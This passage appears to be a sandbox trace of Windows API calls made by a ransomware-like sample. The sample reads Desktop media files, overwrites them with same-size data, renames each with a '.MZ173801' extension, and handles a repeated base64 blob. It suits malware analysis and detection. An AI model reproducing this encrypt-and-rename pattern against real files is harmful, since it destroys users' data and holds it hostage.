Qjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hhRwlg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhrwlg.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.793] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.794] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.794] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xb264 [0144.794] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.794] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xb264, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xb264, lpOverlapped=0x0) returned 1 [0144.795] CloseHandle (hObject=0x224) returned 1 [0144.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hhRwlg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhrwlg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.799] WriteFile (in: hFile=0x224, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xb264, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f99c*=0xb264, lpOverlapped=0x0) returned 1 [0144.801] CloseHandle (hObject=0x224) returned 1 [0144.801] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hhRwlg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhrwlg.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hhRwlg.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhrwlg.gif.mz173801")) returned 1 [0144.803] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hN8QEMLvJJ61.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hn8qemlvjj61.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5d75d0, ftCreationTime.dwHighDateTime=0x1d5d918, ftLastAccessTime.dwLowDateTime=0x3b265c00, ftLastAccessTime.dwHighDateTime=0x1d5df13, ftLastWriteTime.dwLowDateTime=0x3b265c00, ftLastWriteTime.dwHighDateTime=0x1d5df13, nFileSizeHigh=0x0, nFileSizeLow=0xc216)) returned 1 [0144.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.807] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hN8QEMLvJJ61.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hn8qemlvjj61.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.807] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.807] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.807] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xc216 [0144.807] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.807] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xc216, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xc216, lpOverlapped=0x0) returned 1 [0144.809] CloseHandle (hObject=0x224) returned 1 [0144.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hN8QEMLvJJ61.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hn8qemlvjj61.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.812] WriteFile (in: hFile=0x224, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc216, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f99c*=0xc216, lpOverlapped=0x0) returned 1 [0144.814] CloseHandle (hObject=0x224) returned 1 [0144.814] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hN8QEMLvJJ61.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hn8qemlvjj61.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hN8QEMLvJJ61.avi.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hn8qemlvjj61.avi.mz173801")) returned 1 [0144.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hZVPYttjablu-QCRFYNk.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzvpyttjablu-qcrfynk.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd95d3df0, ftCreationTime.dwHighDateTime=0x1d5d908, ftLastAccessTime.dwLowDateTime=0x9789530, ftLastAccessTime.dwHighDateTime=0x1d5dade, ftLastWriteTime.dwLowDateTime=0x9789530, ftLastWriteTime.dwHighDateTime=0x1d5dade, nFileSizeHigh=0x0, nFileSizeLow=0x18762)) returned 1 [0144.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hZVPYttjablu-QCRFYNk.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzvpyttjablu-qcrfynk.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.820] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.820] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.820] SetFilePointer (in: hFile=0x224, 